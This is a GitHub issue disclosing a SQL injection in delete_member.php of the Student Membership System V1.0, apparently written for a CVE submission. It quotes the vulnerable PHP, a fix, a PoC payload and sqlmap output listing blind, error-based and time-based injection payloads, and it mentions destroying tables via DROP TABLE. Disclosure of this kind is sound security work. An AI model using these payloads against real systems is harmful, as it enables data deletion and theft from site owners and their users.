

maidangdang1 / CVE Public[Code](#) [Issues 5](#) [Pull requests](#) [Actions](#) [Projects](#) [Security](#) [Insights](#)[New issue](#)

Student Membership System Sql Injection in delete_member.php #2

[Open](#)

maidangdang1 opened 2 weeks ago

Owner

HIGH: Sql Injection in delete_member.php

Vuldb Submitter

nomath

Vendor

code-projects

Project

Student Membership System

Homepage<https://code-projects.org/student-membership-system-in-php-with-source-code/>**Version**

V1.0

Vulnerable File

/delete_member.php

Class

sql_injection

Description:

The member deletion function directly concatenates \$_POST['id'] into the SQL delete statement. An attacker could modify the ID parameter to delete any member record, or even execute other malicious operations via SQL injection.

Impact: An attacker could delete all member data; by injecting a DROP TABLE command, they could delete the entire database table, resulting in permanent data loss.

Vulnerable Code:

```
$id = $_POST['id'];  
mysql_query("delete from reg_member where member_id = '$id' ")
```



Suggested Fixes:

Use prepared statements (PDO or mysqli) instead of directly concatenating SQL. Perform strict type validation and escaping on all user input.

PoC Code:

```
id=1' OR '1'='1
```



ScreenShots

```
sqlmap identified the following injection point(s) with a total of 380 HTTP(s) requests:  
---  
Parameter: id (POST)  
  Type: boolean-based blind  
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause  
  Payload: id=0' RLIKE (SELECT (CASE WHEN (2658=2658) THEN 0 ELSE 0x28 END))-- cZIm  
  
  Type: error-based  
  Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)  
  Payload: id=0' AND EXTRACTVALUE(4935,CONCAT(0x5c,0x71766b7671,(SELECT (ELT(4935=4935,1))),0x71626a7171))-- vXAY  
  
  Type: time-based blind  
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  Payload: id=0' AND (SELECT 1052 FROM (SELECT(SLEEP(5)))qJNX)-- BnXT  
---  
[17:30:58] [INFO] the back-end DBMS is MySQL  
web server operating system: Windows  
web application technology: Apache 2.4.38, PHP 5.6.40  
back-end DBMS: MySQL >= 5.1 (MariaDB fork)
```

[Sign up for free](#) to join this conversation on [GitHub](#). Already have an account? [Sign in to comment](#)

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects



Milestone

No milestone

Relationships

None yet

Development

 Code with agent mode 

No branches or pull requests

Participants

